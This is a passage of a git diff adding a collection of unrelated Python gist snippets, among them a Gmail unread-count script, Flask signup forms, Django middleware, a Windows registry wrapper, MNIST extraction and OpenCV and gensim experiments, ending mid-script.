+      sp.x += 10  #Increase scroll speed.
+
+    #Add the following RSS feeds.
+    addfeed('http://feeds.bbci.co.uk/news/world/rss.xml', Color(0.00, 1.00, 0.00), 'Blue_Circle')
+    addfeed('http://www.nytimes.com/services/xml/rss/nyt/US.xml', Color(1.00, 0.50, 0.00), 'Personal_Computer')
+    addfeed('http://www.nytimes.com/services/xml/rss/nyt/Europe.xml', Color(1.00, 0.00, 0.00), 'Delivery_Truck')
+    addfeed('http://www.kffl.com/printRSS.php/nfl-articles', Color(0.00, 1.00, 0.50), 'American_Football', False)
+
+#http://www.nytimes.com/services/xml/rss/nyt/Science.xml
+
+  ###Update all RSS feed displays.
+  def update(self):
+    ud = 0  #Keep count of how many are scrolling vs loading.
+    for f in self.feeds:
+      ud += f.update(self.dt)
+    if ud < len(self.feeds):    #If any feeds are loading sleep for a bit to let the loading thread update.
+      sleep(1.0 if ud == 0 else 0.02)
+
+  ###Draw all RSS feeds.
+  def draw(self):
+    background(0, 0, 0) #Clear the frame. If you take this out put the rect() call back in in scrolltext.draw().
+    self.update()   #Update the feeds.
+    for f in self.feeds:    #Draw the feeds.
+      f.draw()
+
+run(MyScene())
\ No newline at end of file
diff --git a/hard-gists/4173945/._snippet.py b/hard-gists/4173945/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4173945/._snippet.py differ
diff --git a/hard-gists/4173945/snippet.py b/hard-gists/4173945/snippet.py
new file mode 100644
index 00000000..3d23cb8a
--- /dev/null
+++ b/hard-gists/4173945/snippet.py
@@ -0,0 +1,156 @@
+#!/usr/bin/env python2.6
+import base64
+import sys
+import json
+import imaplib
+import urllib
+from optparse import OptionParser
+
+import atom.http_core
+
+from oauth2client import client
+
+class Error(Exception):
+    def __str__(self):
+        return "Error: %s" % self.error_message
+
+class OAuth2JWTError(Error):
+    """Raised when an OAuth2 error occurs."""
+    def __init__(self, error_message):
+        self.error_message = error_message
+
+
+def get_JWT(assertion):
+    body = urllib.urlencode({
+            'grant_type':'urn:ietf:params:oauth:grant-type:jwt-bearer',
+            'assertion':assertion
+        }
+    ) 
+    headers = {}
+
+    http_client = atom.http_core.HttpClient()
+    http_request = atom.http_core.HttpRequest(uri="https://accounts.google.com/o/oauth2/token",
+            method="POST", headers=headers)
+    http_request.add_body_part(data=body, mime_type="application/x-www-form-urlencoded")
+    response = http_client.Request(http_request)
+    body = response.read()
+
+    if response.status == 200:
+        return body
+    else:
+        error_msg = 'Invalid response %s.' % response.status
+        try:
+            d = json.loads(body)
+            if 'error' in d:
+                error_msg = d['error']
+        except:
+            pass
+        raise OAuth2JWTError(error_msg)
+
+def get_service_private_key():
+    f = open('service_privatekey.p12','rb')
+    key = f.read()
+    f.close()
+    return key
+
+def get_clientSecrets():
+    f = open('service_client_secrets.json')
+    secrets_json = f.read()
+    return json.loads(secrets_json)
+
+def getServiceAccountsAccessToken(user):
+    client_secrets = get_clientSecrets()
+    private_key = get_service_private_key()
+
+    scope = "https://mail.google.com/"
+    jwt_client = client.SignedJwtAssertionCredentials(
+            service_account_name=client_secrets['web']['client_email'],
+            private_key=private_key,
+            scope=scope,
+            prn=user)
+
+    jwt = json.loads(get_JWT(jwt_client._generate_assertion()))
+    access_token = jwt["access_token"]
+    return access_token
+
+def GenerateOAuth2String(username, access_token, base64_encode=True):
+    """Generates an IMAP OAuth2 authentication string.
+
+    See https://developers.google.com/google-apps/gmail/oauth2_overview
+
+    Args:
+    username: the username (email address) of the account to authenticate
+    access_token: An OAuth2 access token.
+    base64_encode: Whether to base64-encode the output.
+
+    Returns:
+    The SASL argument for the OAuth2 mechanism.
+    """
+    auth_string = 'user=%s\1auth=Bearer %s\1\1' % (username, access_token)
+    if base64_encode:
+        auth_string = base64.b64encode(auth_string)
+    return auth_string
+
+def getUnreadCountFromIMAP(user, auth_string):
+    """Authenticates to IMAP with the given auth_string.
+
+    Prints a debug trace of the attempted IMAP connection.
+
+    Args:
+    user: The Gmail username (full email address)
+    auth_string: A valid OAuth2 string, as returned by GenerateOAuth2String.
+        Must not be base64-encoded, since imaplib does its own base64-encoding.
+    """
+    print
+    imap_conn = imaplib.IMAP4_SSL('imap.gmail.com')
+    imap_conn.debug = 4
+    imap_conn.authenticate('XOAUTH2', lambda x: auth_string)
+    imap_conn.select('INBOX', readonly=True)
+    typ, data = imap_conn.search(None, "UNSEEN")
+    unreads = data[0].split()
+    return len(unreads)
+
+def getUnreadCountFromFeed(access_token):
+    import urllib2
+    from xml.dom import minidom
+    GMAIL_FEED_URI="https://mail.google.com/mail/feed/atom"
+
+    request = urllib2.Request(GMAIL_FEED_URI)
+    request.add_header("Authorization", "Bearer %s" %  access_token)
+    response = urllib2.urlopen(request)
+    feed = response.readlines()
+    feed_string = "\n".join(feed)
+
+    dom = minidom.parseString(feed_string)
+    unread = dom.getElementsByTagName("fullcount")[0].childNodes[0].nodeValue
+    return unread
+
+def SetupOptionParser():
+    # Usage message is the module's docstring.
+    parser = OptionParser(usage=__doc__)
+    parser.add_option('--user',
+                    default=None,
+                    help='email address of user whose account is being '
+                         'accessed')
+    return parser
+
+def main():
+    opt_parser = SetupOptionParser()
+    (options, args) = opt_parser.parse_args()
+    if options.user is None:
+        print("--user Required.")
+        sys.exit(-1)
+    user = options.user 
+
+    access_token = getServiceAccountsAccessToken(user)
+    
+    unread_imap = getUnreadCountFromIMAP(user,
+        GenerateOAuth2String(user, access_token,
+                             base64_encode=False))
+    print("%d unread message(s)" % unread_imap)
+
+    unread = getUnreadCountFromFeed(access_token)
+    print("%s unread message(s)" % unread)
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/4174069/._snippet.py b/hard-gists/4174069/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4174069/._snippet.py differ
diff --git a/hard-gists/4174069/snippet.py b/hard-gists/4174069/snippet.py
new file mode 100644
index 00000000..35cc9ea3
--- /dev/null
+++ b/hard-gists/4174069/snippet.py
@@ -0,0 +1,50 @@
+# -*- coding: UTF-8 -*-
+from flaskext.wtf import Form, TextField, PasswordField, RecaptchaField, \
+                        AnyOf, NoneOf, Regexp, Email, Required, EqualTo, Recaptcha
+from wtforms.validators import StopValidation
+from flask import request, session
+import model
+
+# 身份證字號格式驗證
+def check_ID(form, field):
+    locations = dict(zip([c for c in 'ABCDEFGHJKLMNPQRSTUVXYWZIO'], range(10,36)))
+    msg = u'身份證字號格式不正確'
+    ID = field.data
+    if len(ID) != 10: raise StopValidation(msg)
+    if ID[0] in locations:
+        x = locations[ID[0]]
+        x1 = int(x/10)
+        x2 = x%10
+    else: raise StopValidation(msg)
+    d = [int(digit) for digit in ID[1:]]
+    y = x1 + x2*9 + \
+        d[0]*8 + d[1]*7 + d[2]*6 + d[3]*5 + d[4]*4 + d[5]*3 + d[6]*2 + d[7]*1 + d[8]
+    if y % 10 == 0: return True
+    else: raise StopValidation(msg)
+
+# 確認圖形驗證是否空白沒填寫
+def check_recaptcha_filled(form, field):
+    challenge = request.form.get('recaptcha_challenge_field', '')
+    response = request.form.get('recaptcha_response_field', '')
+    if not challenge or not response:
+        raise StopValidation(u'請輸入圖形驗證')
+
+# 查詢已註冊的使用者身份證字號
+class ExistingUsersID(object):
+    def __iter__(self):
+        return iter([user.username for user in model.db.session.query(model.User.username).all()]) #@UndefinedVariable
+
+class LoginForm(Form):
+    ID = TextField(u'身份證字號')
+    password = PasswordField(u'密碼', validators=[Required(u'請輸入密碼')])
+
+class SignUpForm(Form):
+    ID = TextField(u'身份證字號', validators=[check_ID, NoneOf(ExistingUsersID(), u'此身份證字號已存在，請確認是否已註冊')])
+    mobile_phone = TextField(u'行動電話', validators=[Regexp(r'^09\d{8}$', message=u'行動電話號碼格式不正確')])
+    email = TextField(u'電子郵件', validators=[Email(u'電子郵件位址格式不正確')])
+    password = PasswordField(u'密碼', validators=[Required(u'請設定密碼')])
+    chk_password = PasswordField(u'確認密碼', validators=[EqualTo('password', u'兩次輸入的密碼不相符')])
+    recaptcha = RecaptchaField(u'圖形驗證', validators=[check_recaptcha_filled, Recaptcha(u'輸入錯誤，請再試一遍')])
+
+class AddrForm(Form):
+    address = TextField(u'通訊地址', validators=[Required(u'請輸入地址')])
\ No newline at end of file
diff --git a/hard-gists/4176564/._snippet.py b/hard-gists/4176564/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4176564/._snippet.py differ
diff --git a/hard-gists/4176564/snippet.py b/hard-gists/4176564/snippet.py
new file mode 100644
index 00000000..79991169
--- /dev/null
+++ b/hard-gists/4176564/snippet.py
@@ -0,0 +1,7 @@
+import PIL
+from PIL import Image, ImageOps
+
+def resizecrop(src, out, width, height):
+	img = Image.open(src)
+	img = ImageOps.fit(img, (width, height), Image.ANTIALIAS, 0, (0.5, 0.5))
+	img.save(out)
\ No newline at end of file
diff --git a/hard-gists/4176623/._snippet.py b/hard-gists/4176623/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4176623/._snippet.py differ
diff --git a/hard-gists/4176623/snippet.py b/hard-gists/4176623/snippet.py
new file mode 100644
index 00000000..433870cb
--- /dev/null
+++ b/hard-gists/4176623/snippet.py
@@ -0,0 +1,20 @@
+import logging
+
+from django.utils import translation
+
+
+class SubdomainLanguageMiddleware(object):
+    """
+    Set the language for the site based on the subdomain the request
+    is being served on. For example, serving on 'fr.domain.com' would
+    make the language French (fr).
+    """
+    LANGUAGES = ['fr']
+
+    def process_request(self, request):
+        host = request.get_host().split('.')
+        if host and host[0] in self.LANGUAGES:
+            lang = host[0]
+            logging.debug("Choosing language: {0}".format(lang))
+            translation.activate(lang)
+            request.LANGUAGE_CODE = lang
diff --git a/hard-gists/4178945/._snippet.py b/hard-gists/4178945/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4178945/._snippet.py differ
diff --git a/hard-gists/4178945/snippet.py b/hard-gists/4178945/snippet.py
new file mode 100644
index 00000000..0b31291a
--- /dev/null
+++ b/hard-gists/4178945/snippet.py
@@ -0,0 +1,15 @@
+#!/usr/bin/env python
+# A quick and dirty script to rename a pinboard.in tag.
+# I'll probably update this become a proper command line app one day
+
+import urllib2
+import pinboard
+
+pinuser = ""
+pinpasswd = ""
+
+p = pinboard.open(pinuser, pinpasswd)
+# Enter in the tag information below
+p.rename_tag(old="old-tag", new="new_tag")
+
+print "Done!"
diff --git a/hard-gists/4180945/._snippet.py b/hard-gists/4180945/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4180945/._snippet.py differ
diff --git a/hard-gists/4180945/snippet.py b/hard-gists/4180945/snippet.py
new file mode 100644
index 00000000..d6b42688
--- /dev/null
+++ b/hard-gists/4180945/snippet.py
@@ -0,0 +1,103 @@
+#example of animated frames for a character walk.
+#downloads a soldier sprite sheet, cuts out frames for the walk cycles in 4 directions
+# and animates the character walking in the direction controlled by gravity.
+
+from scene import *
+from PIL import Image
+import urllib, os
+
+start = Point(3, 1) #the sheet has 8 sets of characters in a 4x2 grid.
+ssize = Size(96, 128)
+speed = 0.15
+frames = [0, 1, 2, 1] #4 frames per walk cycle
+dirs = [0, 3, 9, 6]	#start frame for direction
+moveamt = 32
+mov = [(0, -moveamt), (-moveamt, 0), (0, moveamt), (moveamt, 0)]
+keycolor = (0, 255, 0, 255)
+gravsense = 0.06
+
+north = 0
+south = 2
+east = 1
+west = 3
+
+def wrap(v, ext):
+	if v < 0:
+		return ext + v
+	elif v >= ext:
+		return v - ext
+	return v
+
+def gravitydirections(dir):
+	ax = abs(dir.x)
+	ay = abs(dir.y)
+	dx = 0
+	dy = 0
+	#If x is larger than the sensitivity then set east or west.
+	if ax > gravsense:
+		dx = west if dir.x > 0 else east
+	#If y is larger than the sensitivity then set north or south.
+	if ay > gravsense:
+		dy = south if dir.y > 0 else north
+
+	#return direction tuple in order of largest gravity direction.
+	return dy if ay > ax else dx
+
+class MyScene (Scene):
+	def setup(self):
+		# This will be called before the first frame is drawn.
+		if not os.path.exists('Images'):
+			os.mkdir('Images')
+			
+		if not os.path.exists("Images/soldier2.png"):		
+			url = urllib.urlopen('http://img63.imageshack.us/img63/4348/americanset.png')
+			with open("Images/soldier2.png", "wb") as output:
+				output.write(url.read())
+
+		img = Image.open("Images/soldier2.png").convert('RGBA')
+		img.show()
+		strt = Point(start.x * ssize.w, start.y * ssize.h)
+		img = img.crop((strt.x, strt.y,strt.x + ssize.w - 1, strt.y + ssize.h - 1))
+		
+		d = img.load()
+		keycolor = d[0,0] #1st pixel is used as keycolor.
+		for x in range(img.size[0]):
+			for y in range(img.size[1]):
+				p = d[x, y]
+				if p == keycolor: #if keycolor set alpha to 0.
+					d[x, y] = (p[0], p[1], p[2], 0)
+
+		img.show()
+					
+		def getframe(x, y):
+		 	nim = img.crop((x * 32, y * 32, (x+1) * 32, (y+1) * 32))
+#		 	nim = nim.resize((16,16), Image.ANTIALIAS)
+			return load_pil_image(nim)
+
+		self.images = [ getframe(x,y) for y in xrange(4) for x in xrange(3) ]
+		self.start = 0
+		self.base = 0
+		self.dir = 0
+		self.delay = speed
+		self.x = 400
+		self.y = 400
+
+	def draw(self):
+		# This will be called for every frame (typically 60 times per second).
+		self.dir = gravitydirections(gravity())
+		background(0, 0, 1)
+		d = self.dir
+		mv = mov[d]
+		self.x += mv[0] * self.dt
+		self.y += mv[1] * self.dt
+		self.x = wrap(self.x, self.size.w)
+		self.y = wrap(self.y, self.size.h)
+		image(self.images[dirs[d] + frames[self.start]], self.x, self.y, 32, 32)
+		self.delay -= self.dt
+		if self.delay <= 0:
+			self.delay += speed
+			self.start += 1
+			if self.start >= len(frames):
+				self.start = 0
+    
+run(MyScene(), PORTRAIT)
\ No newline at end of file
diff --git a/hard-gists/4189391/._snippet.py b/hard-gists/4189391/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4189391/._snippet.py differ
diff --git a/hard-gists/4189391/snippet.py b/hard-gists/4189391/snippet.py
new file mode 100644
index 00000000..f01edd88
--- /dev/null
+++ b/hard-gists/4189391/snippet.py
@@ -0,0 +1,233 @@
+"""Slightly magical Win32api Registry -> Dictionary-like-object wrapper"""
+import win32api, win32con, cPickle
+
+class RegistryDict(object):
+    def __init__(self, keyhandle = win32con.HKEY_LOCAL_MACHINE, keypath = [], flags = None):
+        """If flags=None, then it will create the key.. otherwise pass a win32con.KEY_* sam"""
+        self.keyhandle = None
+        self.open(keyhandle, keypath, flags)
+
+    @staticmethod
+    def massageIncomingRegistryValue((obj, objtype), bReturnType=False):
+        r=None
+        if objtype == win32con.REG_BINARY and obj[:8]=='PyPickle':
+            obj = obj[8:]
+            r = (cPickle.loads(obj), objtype)
+        elif objtype == win32con.REG_NONE:
+            r = (None, objtype)
+        elif objtype in (win32con.REG_SZ, win32con.REG_EXPAND_SZ,
+                         win32con.REG_RESOURCE_LIST, win32con.REG_LINK,
+                         win32con.REG_BINARY, win32con.REG_DWORD,
+                         win32con.REG_DWORD_LITTLE_ENDIAN, win32con.REG_DWORD_BIG_ENDIAN,
+                         win32con.REG_MULTI_SZ):
+            r = (obj,objtype)
+        if r == None:
+            raise NotImplementedError, "Registry type 0x%08X not supported" % (objtype,)
+        if bReturnType:
+            return r
+        else:
+            return r[0]
+
+    def __getitem__(self, key):
+        bReturnType=False
+        if (type(key) is tuple) and (len(key)==1):
+            key = key[0]
+            bReturnType=True
+        # is it data?
+        try:
+            return self.massageIncomingRegistryValue(win32api.RegQueryValueEx(self.keyhandle, key),bReturnType)
+        except:
+            if key == '':
+                # Special case: this dictionary key means "default value"
+                raise KeyError, key
+            pass
+        # it's probably a registry key then
+        try:
+            return RegistryDict(self.keyhandle, key, win32con.KEY_ALL_ACCESS)
+        except:
+            pass
+        # must not be there
+        raise KeyError, key
+    
+    def has_key(self, key):
+        return self.__contains__(key)
+    
+    def __contains__(self, key):
+        try:
+            self.__getitem__(key)
+            return 1
+        except KeyError:
+            return 0
+
+    def copy(self):
+        return dict(self.iteritems())
+
+    def __repr__(self):
+        return repr(self.copy())
+
+    def __str__(self):
+        return self.__repr__()
+
+    def __cmp__(self, other):
+        # Do the objects have the same state?
+        return self.keyhandle == other.keyhandle
+
+    def __hash__(self):
+        raise TypeError, "RegistryDict objects are unhashable"
+  
+    def clear(self):
+        keylist = list(self.iterkeys())
+        # Two-step to avoid changing the set while iterating over it
+        for k in keylist:
+            del self[k]
+    
+    def iteritems_data(self):
+        i = 0
+        # yield data
+        try:
+            while 1:
+                s, obj, objtype = win32api.RegEnumValue(self.keyhandle, i)
+                yield s, self.massageIncomingRegistryValue((obj, objtype))
+                i += 1
+        except:
+            pass
+
+    def iteritems_children(self, access=win32con.KEY_ALL_ACCESS):
+        i = 0
+        try:
+            while 1:
+                s = win32api.RegEnumKey(self.keyhandle, i)
+                yield s, RegistryDict(self.keyhandle, [s], access)
+                i += 1
+        except:
+            pass
+                
+    def iteritems(self, access=win32con.KEY_ALL_ACCESS):
+       # yield children
+        for item in self.iteritems_data():
+            yield item
+        for item in self.iteritems_children(access):
+            yield item
+            
+    def iterkeys_data(self):
+        for key, value in self.iteritems_data():
+            yield key
+
+    def iterkeys_children(self, access=win32con.KEY_ALL_ACCESS):
+        for key, value in self.iteritems_children(access):
+            yield key
+
+    def iterkeys(self):
+        for key, value in self.iteritems():
+            yield key
+
+    def itervalues_data(self):
+        for key, value in self.iteritems_data():
+            yield value
+
+    def itervalues_children(self, access=win32con.KEY_ALL_ACCESS):
+        for key, value in self.iteritems_children(access):
+            yield value
+
+    def itervalues(self, access=win32con.KEY_ALL_ACCESS):
+        for key, value in self.iteritems(access):
+            yield value
+
+    def items(self, access=win32con.KEY_ALL_ACCESS):
+        return list(self.iteritems())
+              
+    def keys(self):
+        return list(self.iterkeys())
+
+    def values(self, access=win32con.KEY_ALL_ACCESS):
+        return list(self.itervalues(access))
+        
+    def __delitem__(self, key):
+        # Delete a string value or a subkey, depending on the type
+        try:
+            item = self[key]
+        except:
+            return  # Silently ignore bad keys
+        itemtype = type(item)
+        if itemtype is str:
+            win32api.RegDeleteValue(self.keyhandle, key)
+        elif isinstance(item, RegistryDict):
+            # Delete everything in the subkey, then the subkey itself
+            item.clear()
+            win32api.RegDeleteKey(self.keyhandle, key)
+        else:
+            raise ValueError, "Unknown item type in RegistryDict"
+  
+    def __len__(self):
+        return len(self.items())
+
+    def __iter__(self):
+        return self.iterkeys()
+  
+    def popitem(self):
+        try:
+            k, v = self.iteritems().next()
+            del self[k]
+            return k, v
+        except StopIteration:
+            raise KeyError, "RegistryDict is empty"
+            
+    def get(self,key,default=None):
+        try:
+            return self.__getitem__(key)
+        except:
+            return default
+
+    def setdefault(self,key,default=None):
+        try:
+            return self.__getitem__(key)
+        except:
+            self.__setitem__(key)
+            return default
+
+    def update(self,d):
+        for k,v in d.items():
+            self.__setitem__(k, v)
+
+    def __setitem__(self, item, value):
+        item = str(item)
+        pyvalue = type(value)
+        if pyvalue is tuple and len(value)==2:
+            valuetype = value[1]
+            value = value[0]
+        else:
+            if pyvalue is dict or isinstance(value, RegistryDict):
+                d = RegistryDict(self.keyhandle, item)
+                d.clear()
+                d.update(value)
+                return
+            if pyvalue is str:
+                valuetype = win32con.REG_SZ
+            elif pyvalue is int:
+                valuetype = win32con.REG_DWORD
+            else:
+                valuetype = win32con.REG_BINARY
+                value = 'PyPickle' + cPickle.dumps(value)
+        win32api.RegSetValueEx(self.keyhandle, item, 0, valuetype, value)
+  
+    def open(self, keyhandle, keypath, flags = None):
+        if self.keyhandle:
+            self.close()
+        if type(keypath) is str:
+            keypath = keypath.split('\\')
+        if flags is None:
+            for subkey in keypath:
+                keyhandle = win32api.RegCreateKey(keyhandle, subkey)
+        else:
+            for subkey in keypath:
+                keyhandle = win32api.RegOpenKeyEx(keyhandle, subkey, 0, flags)
+        self.keyhandle = keyhandle
+
+    def close(self):
+        try:
+            win32api.RegCloseKey(self.keyhandle)
+        except:
+            pass
+
+    def __del__(self):
+        self.close()
diff --git a/hard-gists/4190318/._snippet.py b/hard-gists/4190318/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4190318/._snippet.py differ
diff --git a/hard-gists/4190318/snippet.py b/hard-gists/4190318/snippet.py
new file mode 100644
index 00000000..100eb73b
--- /dev/null
+++ b/hard-gists/4190318/snippet.py
@@ -0,0 +1,18 @@
+from django.core.exceptions import PermissionDenied
+from django.contrib import admin
+from django.contrib.admin.actions import delete_selected as delete_selected_
+
+
+def delete_selected(modeladmin, request, queryset):
+    if not modeladmin.has_delete_permission(request):
+        raise PermissionDenied
+    if request.POST.get('post'):
+        for obj in queryset:
+            obj.delete()
+    else:
+        return delete_selected_(modeladmin, request, queryset)
+delete_selected.short_description = "Delete selected objects"
+
+
+class MyModelAdmin(admin.ModelAdmin):
+    actions = [delete_selected]
\ No newline at end of file
diff --git a/hard-gists/4199895/._snippet.py b/hard-gists/4199895/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4199895/._snippet.py differ
diff --git a/hard-gists/4199895/snippet.py b/hard-gists/4199895/snippet.py
new file mode 100644
index 00000000..e7819a9b
--- /dev/null
+++ b/hard-gists/4199895/snippet.py
@@ -0,0 +1,30 @@
+try:
+    import cPickle as pickle
+except:
+    import pickle
+    
+from sklearn.ensemble import RandomForestClassifier
+import logging, os
+
+
+class Lexent_classifier_sub:
+    
+    def __init__(self):
+        sub_model_file = os.path.join(os.path.dirname(__file__), 'classifier_models/sub_model.p')
+        training_file = open(sub_model_file)
+        training_data = pickle.load(training_file)
+        training_file.close()
+        sub_target_file = os.path.join(os.path.dirname(__file__), 'classifier_models/sub_targets.p')
+        targets_file = open(sub_target_file)
+        targets = pickle.load(targets_file)
+        targets_file.close()
+        logging.info('Training with %s examples', len(training_data))
+
+        self.clf = RandomForestClassifier() 
+        self.clf = self.clf.fit(training_data, targets)
+
+
+    def predict(self, feature_vector):
+        predicted = self.clf.predict(feature_vector)
+        logging.info('Prediction: %s', predicted)
+        return predicted
\ No newline at end of file
diff --git a/hard-gists/41d15424e7989b936c1609b53edd1390/._snippet.py b/hard-gists/41d15424e7989b936c1609b53edd1390/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/41d15424e7989b936c1609b53edd1390/._snippet.py differ
diff --git a/hard-gists/41d15424e7989b936c1609b53edd1390/snippet.py b/hard-gists/41d15424e7989b936c1609b53edd1390/snippet.py
new file mode 100644
index 00000000..af106d87
--- /dev/null
+++ b/hard-gists/41d15424e7989b936c1609b53edd1390/snippet.py
@@ -0,0 +1,92 @@
+from __future__ import absolute_import
+from __future__ import division
+from __future__ import print_function
+
+import gzip
+import os
+import sys
+import time
+
+from six.moves import urllib
+from six.moves import xrange  # pylint: disable=redefined-builtin
+from scipy.misc import imsave
+import tensorflow as tf
+import numpy as np
+import csv
+
+SOURCE_URL = 'http://yann.lecun.com/exdb/mnist/'
+WORK_DIRECTORY = 'data'
+IMAGE_SIZE = 28
+NUM_CHANNELS = 1
+PIXEL_DEPTH = 255
+NUM_LABELS = 10
+
+def maybe_download(filename):
+  """Download the data from Yann's website, unless it's already here."""
+  if not tf.gfile.Exists(WORK_DIRECTORY):
+    tf.gfile.MakeDirs(WORK_DIRECTORY)
+  filepath = os.path.join(WORK_DIRECTORY, filename)
+  if not tf.gfile.Exists(filepath):
+    filepath, _ = urllib.request.urlretrieve(SOURCE_URL + filename, filepath)
+    with tf.gfile.GFile(filepath) as f:
+      size = f.Size()
+    print('Successfully downloaded', filename, size, 'bytes.')
+  return filepath
+
+
+def extract_data(filename, num_images):
+  """Extract the images into a 4D tensor [image index, y, x, channels].
+
+  Values are rescaled from [0, 255] down to [-0.5, 0.5].
+  """
+  print('Extracting', filename)
+  with gzip.open(filename) as bytestream:
+    bytestream.read(16)
+    buf = bytestream.read(IMAGE_SIZE * IMAGE_SIZE * num_images)
+    data = np.frombuffer(buf, dtype=np.uint8).astype(np.float32)
+    #data = (data - (PIXEL_DEPTH / 2.0)) / PIXEL_DEPTH
+    data = data.reshape(num_images, IMAGE_SIZE, IMAGE_SIZE, 1)
+    return data
+
+
+def extract_labels(filename, num_images):
+  """Extract the labels into a vector of int64 label IDs."""
+  print('Extracting', filename)
+  with gzip.open(filename) as bytestream:
+    bytestream.read(8)
+    buf = bytestream.read(1 * num_images)
+    labels = np.frombuffer(buf, dtype=np.uint8).astype(np.int64)
+  return labels
+
+train_data_filename = maybe_download('train-images-idx3-ubyte.gz')
+train_labels_filename = maybe_download('train-labels-idx1-ubyte.gz')
+test_data_filename = maybe_download('t10k-images-idx3-ubyte.gz')
+test_labels_filename = maybe_download('t10k-labels-idx1-ubyte.gz')
+
+# Extract it into np arrays.
+train_data = extract_data(train_data_filename, 60000)
+train_labels = extract_labels(train_labels_filename, 60000)
+test_data = extract_data(test_data_filename, 10000)
+test_labels = extract_labels(test_labels_filename, 10000)
+
+if not os.path.isdir("mnist/train-images"):
+   os.makedirs("mnist/train-images")
+
+if not os.path.isdir("mnist/test-images"):
+   os.makedirs("mnist/test-images")
+
+# process train data
+with open("mnist/train-labels.csv", 'wb') as csvFile:
+  writer = csv.writer(csvFile, delimiter=',', quotechar='"')
+  for i in range(len(train_data)):
+    imsave("mnist/train-images/" + str(i) + ".jpg", train_data[i][:,:,0])
+    writer.writerow(["train-images/" + str(i) + ".jpg", train_labels[i]])
+
+# repeat for test data
+with open("mnist/test-labels.csv", 'wb') as csvFile:
+  writer = csv.writer(csvFile, delimiter=',', quotechar='"')
+  for i in range(len(test_data)):
+    imsave("mnist/test-images/" + str(i) + ".jpg", test_data[i][:,:,0])
+    writer.writerow(["test-images/" + str(i) + ".jpg", test_labels[i]])
+
+
diff --git a/hard-gists/41f782ce86346d46800d/._snippet.py b/hard-gists/41f782ce86346d46800d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/41f782ce86346d46800d/._snippet.py differ
diff --git a/hard-gists/41f782ce86346d46800d/snippet.py b/hard-gists/41f782ce86346d46800d/snippet.py
new file mode 100644
index 00000000..0cbf4c66
--- /dev/null
+++ b/hard-gists/41f782ce86346d46800d/snippet.py
@@ -0,0 +1,42 @@
+#!/usr/bin/env python
+import cv2
+import numpy as np
+
+def main():
+    cap = cv2.VideoCapture(0)
+    while(cap.isOpened()):
+        ret, img       = cap.read()
+
+        skinMask = HSVBin(img)
+        contours = getContours(skinMask)
+        cv2.drawContours(img, contours, -1, (0, 255, 0), 2)
+        cv2.imshow('capture', img)
+        k = cv2.waitKey(10)
+        if k == 27:
+            break
+def getContours(img):
+    kernel = np.ones((5,5),np.uint8)
+    closed = cv2.morphologyEx(img, cv2.MORPH_OPEN, kernel)
+    closed = cv2.morphologyEx(closed, cv2.MORPH_CLOSE, kernel)
+    contours, h  = cv2.findContours(closed, cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)
+    validContours = [];
+    for cont in contours:
+        if cv2.contourArea(cont) > 9000:
+            # x,y,w,h = cv2.boundingRect(cont)
+            # if h/w > 0.75:
+            validContours.append(cv2.convexHull(cont))
+            # rect = cv2.minAreaRect(cont)
+            # box = cv2.cv.BoxPoints(rect)
+            # validContours.append(np.int0(box))
+    return validContours
+def HSVBin(img):
+    hsv = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)
+
+    lower_skin = np.array([100, 50, 0])
+    upper_skin = np.array([125, 255, 255])
+
+    mask = cv2.inRange(hsv, lower_skin, upper_skin)
+    # res = cv2.bitwise_and(img, img, mask=mask)
+    return mask
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/4201551d7f8608f0b82b/._snippet.py b/hard-gists/4201551d7f8608f0b82b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4201551d7f8608f0b82b/._snippet.py differ
diff --git a/hard-gists/4201551d7f8608f0b82b/snippet.py b/hard-gists/4201551d7f8608f0b82b/snippet.py
new file mode 100644
index 00000000..5a3bd3b3
--- /dev/null
+++ b/hard-gists/4201551d7f8608f0b82b/snippet.py
@@ -0,0 +1,66 @@
+import sys
+import logging
+import numpy
+import gensim
+
+
+logging.basicConfig(level=logging.INFO)
+
+train_sentences = gensim.models.doc2vec.LabeledLineSentence(sys.argv[1])
+model = gensim.models.Doc2Vec(train_sentences, size=400, window=8, min_count=2,
+                              workers=8)
+
+test_sentences = gensim.models.doc2vec.LabeledLineSentence(sys.argv[2])
+
+
+# new labels to self.vocab
+def add_new_labels(sentences, model):
+    sentence_no = -1
+    total_words = 0
+    vocab = model.vocab
+    model_sentence_n = len([l for l in vocab if l.startswith("SENT")])
+    n_sentences = 0
+    for sentence_no, sentence in enumerate(sentences):
+        sentence_length = len(sentence.words)
+        for label in sentence.labels:
+            label_e = label.split("_")
+            label_n = int(label_e[1]) + model_sentence_n
+            label = "{0}_{1}".format(label_e[0], label_n)
+            total_words += 1
+            if label in vocab:
+                vocab[label].count += sentence_length
+            else:
+                vocab[label] = gensim.models.word2vec.Vocab(
+                    count=sentence_length)
+                vocab[label].index = len(model.vocab) - 1
+                vocab[label].code = [0]
+                vocab[label].sample_probability = 1.
+                model.index2word.append(label)
+                n_sentences += 1
+    return n_sentences
+
+n_sentences = add_new_labels(test_sentences, model)
+
+# add new rows to model.syn0
+n = model.syn0.shape[0]
+model.syn0 = numpy.vstack((
+    model.syn0,
+    numpy.empty((n_sentences, model.layer1_size), dtype=numpy.float32)
+))
+
+for i in xrange(n, n + n_sentences):
+    numpy.random.seed(
+        numpy.uint32(model.hashfxn(model.index2word[i] + str(model.seed))))
